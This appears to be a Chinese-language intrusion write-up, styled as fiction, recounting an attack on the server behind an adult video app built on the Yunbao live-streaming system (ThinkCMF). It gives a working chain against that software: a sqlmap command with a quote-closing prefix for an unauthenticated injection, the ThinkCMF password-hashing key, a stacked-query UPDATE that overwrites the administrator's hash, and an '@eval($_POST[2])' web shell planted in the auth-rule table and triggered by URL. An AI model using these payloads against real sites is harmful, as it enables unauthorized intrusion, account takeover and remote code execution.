本故事纯属虚构 如有雷同纯属巧合
起因
经排查发现该app为成人版"抖音",响应国家净网行动,坚决打击非法传播传播淫秽物品行为!
经过
下载该app,并对其进行测试。
使用BurpSuite
抓包,环境为:夜神模拟器(安卓4)+Xpose框架+Just trust me 框架
发现该app是从某web地址:www.xxxxx.com
的接口回调过来的。
排查web资产
域名注册信息
Ps:这类网站域名注册信息大部分为虚假的,所以这里暂时不对域名注册人、联系邮箱等信息展开搜集。
其它资产信息
Web指纹:网宿CDN,PHP,Nginx,ThinkCMF
语言:PHP
服务器:网宿CDN
操作系统:Linux
超级ping结果证实的确有CDN防护,那么就没有端口扫描的必要了。
尝试ThinkCMF默认后台地址
得到信息:
官网地址:www.yunbaokj.com (疑似该视频系统开发商)
在之后的测试中,确定该套系统为云豹直播系统(由ThinkCMF二次开发)
系统审计
从网上下载到了云豹直播系统的源码
运气很好,审计到了几处前端注入(不需要会员登陆)
注入一:
文件位置:
/application/Home/Controller/PlaybackController.class.php
注入链接:http://www.xxx.com/index.php?g=Home&m=Playback&touid=1
经测试,目标并不存在此处注入。
注入二:
文件位置:
/application/Appapi/Controller/VideoController.class.php
注入链接:http://www.xxx.com/index.php?g=Appapi&m=Video&videoid=1
此处注入目标就存在啦~
Ps:系统审计工程十分感谢我的好友 Joseph 对我的帮助!真挚的感谢!
注入过程踩坑与填坑
手工测试之后发现目标并没有waf之类的防护,直接扔sqlmap一把梭。
但是过程中发现能识别注入类型但不能注入出 数据,之后才发现是因为闭合问题。
给出sqlmap语句:
sqlmap -u 'http://www.xxxxxx.cn/index.php?g=Appapi&m=Video&videoid=1*' --prefix "1)" --force-ssl -v3
注入后台管理账号密码数据
密码密文:###8c333e2bd6081a934f64a003514fd61c
非常规密文,再跟进一下ThinkCMF加密方式
/* 密码加密 */ public function setPass($pass){ $authcode='rCt52pF2cnnKNB3Hkp'; $pass="###".md5(md5($authcode.$pass)); return $pass; }
如果明文密码很复杂,那几乎是没有机会能解开的。
有朋友说https://cmd5.la/能解开。但是事实是很让人心碎的。
注入查看当前用户权限
权限非常非常低,思路受阻。
柳暗花明又一村
当时因为外出有事,带的是另一台电脑,当我重新注入时有了新的发现,并且很重要!
竟然多了一种注入类型:堆叠注入
因为我们之前研究过了ThinkCMF的算法,那现在我们直接生成一个新的密文,然后update管理员的密文,getshell之后再改回来。
新密文:###73b13b8b4d767f6c3c2953f123d1a721
管理员最后登陆时间
可以大胆放心的搞(admin不是管理常用账号,但仍然是超级管理员账号)
修改密文(sqlmap的sql-shell):update cmf_users set user_pass='###73b13b8b4d767f6c3c2953f123d1a721' where user_login='admin'
成功登陆:
getshell
getshell使用的是网上的一个方法
参考链接:[漏洞分析]thinkcmf 1.6.0版本从sql注入到任意代码执行 - 水泡泡 - 博客园
将恶意代码插入数据库中,之后利用权限校验(低权限用户)来触发。
update cmf_auth_rule set condition = '1);@eval($_POST[2]);//' where id = '29'
访问链接触发代码:
http://www.xxx.cn/index.php?g=Portal&m=AdminPage&a=add&2=phpinfo();
这里需要注意两个地方,与网上文章不同,可能是因为网上方法以版本1.6.0为基础,而目标版本为X2.1.0
1.X2.1.0版本中插入恶意代码的字段为cmf_auth_rule
,而不是sp_auth_rule
2.触发链接为http://www.xxx.cn/index.php?g=Portal&m=AdminPage&a=add&2=phpinfo();
,而不是http://www.xxx.cn/index.php?g=Portal&m=AdminPage&a=add
结尾
已经对服务器日志等有效证据进行打包,后续将移交相关部门。
好好学习,天天向上,远离黄赌毒!